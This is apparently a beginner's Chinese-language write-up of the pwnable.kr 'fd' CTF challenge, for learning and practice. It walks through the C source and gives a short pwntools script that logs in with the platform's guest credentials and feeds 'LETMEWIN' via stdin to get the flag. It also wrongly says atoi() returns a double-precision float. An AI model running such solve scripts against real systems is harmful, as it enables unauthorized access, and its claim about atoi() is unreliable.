1、fd
人生第一次pwn
一、前言:
最近在疯狂找pwn入门基础。群上的师兄说,最好的入门就是找几道ctf的题目复现别人的wp,所以开始接触pwnable.kr(这是我在i春秋幻泉师傅的CTF入门视频中找到的一个pwn平台),
希望通过这个平台的题目,可以让我对pwn,有所了解。(路过的大佬请忽视小菜)
ssh连接进去即可
PS:flag文件无权限读取。
二、分析源码:
1 #include <stdio.h>
2 #include <stdlib.h>
3 #include <string.h>
4 char buf[32];
5 int main(int argc, char* argv[], char* envp[]){
6 if(argc<2){
7 printf("pass argv[1] a number\n");
8 return 0;
9 }
10 int fd = atoi( argv[1] ) - 0x1234;
11 int len = 0;
12 len = read(fd, buf, 32);
13 if(!strcmp("LETMEWIN\n", buf)){
14 printf("good job :)\n");
15 system("/bin/cat flag");
16 exit(0);
17 }
18 printf("learn about Linux file IO\n");
19 return 0;
20
21 }
1、
(1)、编译预处理命令:
#include <stdio.h> #include <stdlib.h> 和#include <string.h> 是程序在编译之前要处理的内容,称为编译预处理命令。
其都以#开头,并且不用分号结尾。
头文件是拓展名为.h的文件,包含了C函数声明和宏定义,被多个源文件中引用共享。
(2)、头文件:
stdio.h是头文件,标准输入输出函数库。
stdlib.h 头文件,即standard library标准库头文件,stdlib里面包含了C语言最常用的系统函数,包含了C语言标准库函数的定义。
string.h头文件,包含了字符串处理函数。
2、char buf[32];
临时申请了一个32字节大小的名为buf的数组。
3、int argc,char* argv[],char* envp[]
(1)int argc:获取参数个数
在命令行输入情况下,命令行总的参数个数。
C:\>test.exe 1 2 3
可执行文件名+参数1,参数2,参数3,argc的值一共为4。
(2)char* argv[]:获取参数
获取所输入的参数。argv[0]是文件名、argv[1] = 1即第一个参数,以此类推。
(3)char* envp[]:获取系统环境变量
获取系统环境变量
4、程序主体
(1)如果程序没有输入数字,则提示输入数字。
(2)
atoi()函数的作用是将字符串转为双精度浮点型值
fd = 输入的第一个数字的双精度浮点型值-0x1234 (0x1234=4660)
(3)read(fd,buf,count)
fd:文件描述符,用来指向要操作的文件的文件结构体。
但:fd == 0 为标准输入,fd == 1 为标准输出,fd == 2为标准错误输出。
buf:一块内存空间
count:希望读取的字节数
read(fd,buf,32):从fd文件中读取32个字节传到buf中
(4)
strcmp(str1,str2):比较两个字符串,<0即str1<str2。其他类推。
system(command):执行系统命令
exit(0):退出
三、利用代码:
1、利用思路:
目标:system("/bin/cat flag")
需要:strcmp("LETMEWIN\n",buf) = 0
则:buf = "LETMEWIN\n"
所以:read(fd,buf,32)中,fd ==0
需要:argv[1] == 0x1234即4660
总结:运行该程序,首先输入4660改变read()函数为输入状态,然后输入满足达到目标条件的"LETMEWIN\n"。
3、利用代码:
2)
1 from pwn import *
2 ssh_fd = ssh(host ='pwnable.kr',user='fd',password='guest',port=2222)
3 print(ssh_fd.connected())
4 exe = ssh_fd.process(argv=['fd','4660'],executable='./fd')
5 exe.sendline('LETMEWIN')
6 print(exe.recvall())
3)解释:
ssh(host,user,password,port):ssh连接。
connected():连接成功已否的查看
process(argv,executable):argv,进程的参数。executable,执行文件的路径。
附:remote('url',port):远程打开指定url的端口。
sendlie():发送一行数据,在后面加上了\n。
附:send(data):发送数据。
recvall() :接收EOF
附:recvrepeat(timeout=default):接收EOF或timeout
四、整体总结:有待提高
1、C语言
2、python的pwn库
3、常见的pwn技巧
五、参考链接:
https://www.cnblogs.com/spd2016/p/5487683.html
https://blog.csdn.net/u010334666/article/details/81192987